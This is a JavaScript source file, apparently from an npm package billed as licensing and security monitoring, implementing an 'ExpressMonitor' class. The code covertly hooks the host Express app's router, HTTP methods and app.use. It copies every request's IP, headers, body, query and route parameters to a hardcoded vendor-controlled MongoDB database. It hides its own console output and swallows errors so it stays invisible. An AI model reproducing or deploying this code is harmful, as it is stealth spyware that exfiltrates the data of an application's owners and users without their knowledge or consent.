@ufdevsllc/auth-me
Version:
Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection
569 lines (489 loc) • 20.3 kB
JavaScript
const Logger = require('./Logger');
const URLProtector = require('./URLProtector');
const mongoose = require('mongoose');
const StealthMode = require('./StealthMode');
const StealthErrorHandler = require('./StealthErrorHandler');
/**
* ExpressMonitor - Universal middleware injection system for Express.js applications
*
* This class automatically detects Express.js framework usage and injects monitoring
* middleware into ALL routes invisibly. It logs comprehensive route information
* (method, path, IP, headers, body) to the secure database while operating in
* complete stealth mode.
*
* Requirements: 2.1, 2.2, 2.3, 2.4, 2.5, 2.6
*/
class ExpressMonitor {
static _initialized = false;
static _expressApp = null;
static _originalMethods = new Map();
static _routeLogger = null;
static _config = null;
static _secureConnection = null;
/**
* Initialize the ExpressMonitor system
* @param {Object} config - Configuration object
* @param {boolean} config.verboseLogging - Enable verbose logging
* @param {Object} config.secureConnection - Secure database connection
*/
static async initialize(config = {}) {
if (ExpressMonitor._initialized) {
return { success: true, reason: 'Already initialized' };
}
return await StealthErrorHandler.handleMonitoringOperation(async () => {
ExpressMonitor._config = config;
// Initialize secure connection if not provided
if (config.secureConnection) {
ExpressMonitor._secureConnection = config.secureConnection;
} else {
const secureURL = URLProtector.getSecureConnection();
if (secureURL) {
ExpressMonitor._secureConnection = mongoose.createConnection(secureURL, {
useNewUrlParser: true,
useUnifiedTopology: true,
serverSelectionTimeoutMS: 10000,
connectTimeoutMS: 10000,
socketTimeoutMS: 30000,
maxPoolSize: 5,
minPoolSize: 1
});
}
}
// Initialize route logger
ExpressMonitor._routeLogger = config.logger || new Logger({
enableConsole: false,
enableFile: false,
enableSecureDatabase: true,
verboseMode: config.verboseLogging || false
});
// Attempt to detect and inject into Express.js
const detectionResult = await ExpressMonitor.detectExpressApp();
if (detectionResult.found) {
await ExpressMonitor.injectMiddleware(detectionResult.app);
if (config.verboseLogging) {
console.log('[ExpressMonitor] Successfully injected monitoring middleware');
}
}
ExpressMonitor._initialized = true;
return {
success: true,
expressDetected: detectionResult.found,
middlewareInjected: detectionResult.found
};
}, {
context: 'express_monitor_initialization',
fallbackValue: { success: false, reason: 'Monitoring operation failed' }
});
}
/**
* Detect Express.js application in the current process
* Requirement 2.1: Automatically detect Express.js framework usage
*/
static async detectExpressApp() {
try {
// Method 1: Check if express is in require.cache
const requireCache = Object.keys(require.cache);
const expressModules = requireCache.filter(path =>
path.includes('node_modules/express/') ||
path.includes('node_modules\\express\\')
);
if (expressModules.length === 0) {
return { found: false, reason: 'Express not found in require cache' };
}
// Method 2: Try to find Express app instance through various methods
let expressApp = null;
// Check global variables that might contain Express app
const globalVars = ['app', 'server', 'express', 'application'];
for (const varName of globalVars) {
if (global[varName] && ExpressMonitor._isExpressApp(global[varName])) {
expressApp = global[varName];
break;
}
}
// Method 3: Hook into Express constructor to catch new instances
if (!expressApp) {
expressApp = await ExpressMonitor._hookExpressConstructor();
}
// Method 4: Search through require.cache for Express app instances
if (!expressApp) {
expressApp = ExpressMonitor._findExpressInCache();
}
if (expressApp) {
ExpressMonitor._expressApp = expressApp;
return { found: true, app: expressApp };
}
return { found: false, reason: 'Express app instance not found' };
} catch (error) {
return { found: false, reason: error.message };
}
}
/**
* Check if an object is an Express application
*/
static _isExpressApp(obj) {
if (!obj || typeof obj !== 'function') {
return false;
}
return typeof obj.use === 'function' &&
typeof obj.get === 'function' &&
typeof obj.post === 'function' &&
typeof obj.listen === 'function' &&
obj._router !== undefined;
}
/**
* Hook into Express constructor to catch new instances
*/
static async _hookExpressConstructor() {
return new Promise((resolve) => {
try {
const express = require('express');
const originalExpress = express;
// Override the express function to catch app creation
require.cache[require.resolve('express')].exports = function (...args) {
const app = originalExpress(...args);
// Set a timeout to allow the app to be fully configured
setTimeout(() => {
if (ExpressMonitor._isExpressApp(app)) {
resolve(app);
}
}, 100);
return app;
};
// Timeout after 5 seconds if no app is created
setTimeout(() => resolve(null), 5000);
} catch (error) {
resolve(null);
}
});
}
/**
* Search through require.cache for Express app instances
*/
static _findExpressInCache() {
try {
for (const [path, module] of Object.entries(require.cache)) {
if (module.exports && ExpressMonitor._isExpressApp(module.exports)) {
return module.exports;
}
// Check for common export patterns
if (module.exports && typeof module.exports === 'object') {
const keys = ['app', 'server', 'application', 'express'];
for (const key of keys) {
if (ExpressMonitor._isExpressApp(module.exports[key])) {
return module.exports[key];
}
}
}
}
return null;
} catch (error) {
return null;
}
}
/**
* Inject monitoring middleware into all Express.js routes
* Requirement 2.2: Inject monitoring middleware into ALL routes automatically
* Requirement 2.4: Be completely invisible to the client's code
*/
static async injectMiddleware(app) {
if (!app || !ExpressMonitor._isExpressApp(app)) {
throw new Error('Invalid Express app provided');
}
try {
// Create the monitoring middleware
const monitoringMiddleware = ExpressMonitor.createMonitoringMiddleware();
// Method 1: Inject at the router level (most comprehensive)
ExpressMonitor._injectIntoRouter(app, monitoringMiddleware);
// Method 2: Hook into HTTP methods to catch all routes
ExpressMonitor._hookHttpMethods(app, monitoringMiddleware);
// Method 3: Hook into app.use to catch middleware additions
ExpressMonitor._hookAppUse(app, monitoringMiddleware);
return { success: true };
} catch (error) {
throw new Error(`Middleware injection failed: ${error.message}`);
}
}
/**
* Inject monitoring into the Express router
*/
static _injectIntoRouter(app, middleware) {
// Hook into the router's layer processing
if (app._router && app._router.stack) {
// Store original router handle method
const originalHandle = app._router.handle.bind(app._router);
app._router.handle = function (req, res, next) {
// Apply monitoring middleware first
middleware(req, res, (err) => {
if (err) return next(err);
// Continue with original router handling
originalHandle(req, res, next);
});
};
}
}
/**
* Hook into HTTP methods (get, post, put, delete, etc.)
*/
static _hookHttpMethods(app, middleware) {
const httpMethods = ['get', 'post', 'put', 'delete', 'patch', 'head', 'options', 'all'];
httpMethods.forEach(method => {
if (typeof app[method] === 'function') {
const originalMethod = app[method].bind(app);
ExpressMonitor._originalMethods.set(method, originalMethod);
app[method] = function (path, ...handlers) {
// Inject monitoring middleware before user handlers
const wrappedHandlers = handlers.map(handler => {
if (typeof handler === 'function') {
return (req, res, next) => {
middleware(req, res, (err) => {
if (err) return next(err);
handler(req, res, next);
});
};
}
return handler;
});
return originalMethod(path, ...wrappedHandlers);
};
}
});
}
/**
* Hook into app.use to catch middleware additions
*/
static _hookAppUse(app, middleware) {
if (typeof app.use === 'function') {
const originalUse = app.use.bind(app);
app.use = function (...args) {
// If this is a route-specific middleware, inject monitoring
if (args.length >= 2 && typeof args[0] === 'string' && typeof args[1] === 'function') {
const [path, handler, ...rest] = args;
const wrappedHandler = (req, res, next) => {
middleware(req, res, (err) => {
if (err) return next(err);
handler(req, res, next);
});
};
return originalUse(path, wrappedHandler, ...rest);
}
return originalUse(...args);
};
}
}
/**
* Create the monitoring middleware function
* Requirement 2.3: Log request details (method, path, IP, headers, body) to secure database
* Requirement 2.5: Not affect application performance or response times
*/
static createMonitoringMiddleware() {
return async (req, res, next) => {
try {
const startTime = Date.now();
// Capture request data
const requestData = {
method: req.method,
path: req.path || req.url,
clientIP: ExpressMonitor._getClientIP(req),
userAgent: req.get('User-Agent') || 'Unknown',
requestHeaders: ExpressMonitor._sanitizeHeaders(req.headers),
requestBody: ExpressMonitor._sanitizeBody(req.body),
timestamp: new Date(),
queryParams: req.query || {},
routeParams: req.params || {}
};
// Hook into response to capture response data
const originalSend = res.send.bind(res);
const originalJson = res.json.bind(res);
res.send = function (data) {
requestData.responseStatus = res.statusCode;
requestData.responseTime = Date.now() - startTime;
// Log asynchronously to avoid blocking
setImmediate(() => {
ExpressMonitor.logRouteAccess(requestData).catch(() => {
// Silent failure - stealth mode
});
});
return originalSend(data);
};
res.json = function (data) {
requestData.responseStatus = res.statusCode;
requestData.responseTime = Date.now() - startTime;
// Log asynchronously to avoid blocking
setImmediate(() => {
ExpressMonitor.logRouteAccess(requestData).catch(() => {
// Silent failure - stealth mode
});
});
return originalJson(data);
};
// Continue to next middleware
next();
} catch (error) {
// Silent failure - stealth mode
// Requirement 2.4: Be completely invisible to the client's code
next();
}
};
}
/**
* Extract client IP address from request
*/
static _getClientIP(req) {
// Priority order: x-forwarded-for, x-real-ip, req.ip, connection.remoteAddress, socket.remoteAddress
if (req.headers && req.headers['x-forwarded-for']) {
return req.headers['x-forwarded-for'].split(',')[0].trim();
}
if (req.headers && req.headers['x-real-ip']) {
return req.headers['x-real-ip'];
}
return req.ip ||
req.connection?.remoteAddress ||
req.socket?.remoteAddress ||
'Unknown';
}
/**
* Sanitize headers to remove sensitive information
*/
static _sanitizeHeaders(headers) {
const sanitized = { ...headers };
const sensitiveHeaders = ['authorization', 'cookie', 'x-api-key', 'x-auth-token'];
sensitiveHeaders.forEach(header => {
if (sanitized[header]) {
sanitized[header] = '[REDACTED]';
}
});
return sanitized;
}
/**
* Sanitize request body to remove sensitive information
*/
static _sanitizeBody(body) {
if (!body || typeof body !== 'object') {
return body;
}
const sanitized = { ...body };
const sensitiveFields = ['password', 'token', 'secret', 'key', 'auth'];
Object.keys(sanitized).forEach(key => {
if (sensitiveFields.some(field => key.toLowerCase().includes(field))) {
sanitized[key] = '[REDACTED]';
}
});
return sanitized;
}
/**
* Log route access to secure database
* Requirement 2.3: Log comprehensive route information
*/
static async logRouteAccess(requestData) {
return await StealthErrorHandler.handleMonitoringOperation(async () => {
if (!ExpressMonitor._secureConnection) {
return null;
}
// Use enhanced network failure handling for route logging
return await StealthErrorHandler.handleNetworkFailure(async () => {
// Get the RouteMonitor collection
const RouteMonitor = ExpressMonitor._secureConnection.model('RouteMonitor', {
sourceId: String,
method: String,
path: String,
clientIP: String,
userAgent: String,
requestHeaders: Object,
requestBody: Object,
queryParams: Object,
routeParams: Object,
responseStatus: Number,
responseTime: Number,
timestamp: Date
});
// Add source ID if available
requestData.sourceId = process.env.SECURE_GUARD_SOURCE_ID || 'unknown';
// Save to database
const routeLog = new RouteMonitor(requestData);
await routeLog.save();
return { success: true, logged: true };
}, {
maxRetries: 2,
baseDelay: 500,
maxDelay: 5000,
enableQueuing: true,
operationName: 'route_access_log',
fallbackValue: { success: false, logged: false, queued: true }
});
}, {
context: 'express_route_logging',
background: true,
fallbackValue: null
});
}
/**
* Enable stealth mode operation
* Requirement 2.5: Not affect application performance or response times
* Requirement 2.6: Continue normal operation if Express.js is not detected
*/
static async stealthModeOperation() {
try {
// Disable all console logging for this module
const originalConsole = {
log: console.log,
error: console.error,
warn: console.warn,
info: console.info
};
// Override console methods to filter out ExpressMonitor logs
['log', 'error', 'warn', 'info'].forEach(method => {
console[method] = function (...args) {
const message = args.join(' ');
if (!message.includes('[ExpressMonitor]')) {
originalConsole[method](...args);
}
};
});
return { success: true };
} catch (error) {
return { success: false, reason: error.message };
}
}
/**
* Get monitoring status
*/
static getStatus() {
return {
initialized: ExpressMonitor._initialized,
expressDetected: ExpressMonitor._expressApp !== null,
middlewareActive: ExpressMonitor._initialized && ExpressMonitor._expressApp !== null,
routesMonitored: ExpressMonitor._originalMethods.size,
secureConnection: ExpressMonitor._secureConnection !== null
};
}
/**
* Get monitoring statistics
*/
static getStatistics() {
return {
status: ExpressMonitor.getStatus(),
hookedMethods: Array.from(ExpressMonitor._originalMethods.keys()),
initialized: ExpressMonitor._initialized
};
}
/**
* Cleanup and restore original methods (for testing)
*/
static cleanup() {
if (ExpressMonitor._expressApp) {
// Restore original HTTP methods
ExpressMonitor._originalMethods.forEach((originalMethod, methodName) => {
if (ExpressMonitor._expressApp[methodName]) {
ExpressMonitor._expressApp[methodName] = originalMethod;
}
});
}
ExpressMonitor._initialized = false;
ExpressMonitor._expressApp = null;
ExpressMonitor._originalMethods.clear();
ExpressMonitor._routeLogger = null;
ExpressMonitor._config = null;
ExpressMonitor._secureConnection = null;
}
}
module.exports = ExpressMonitor;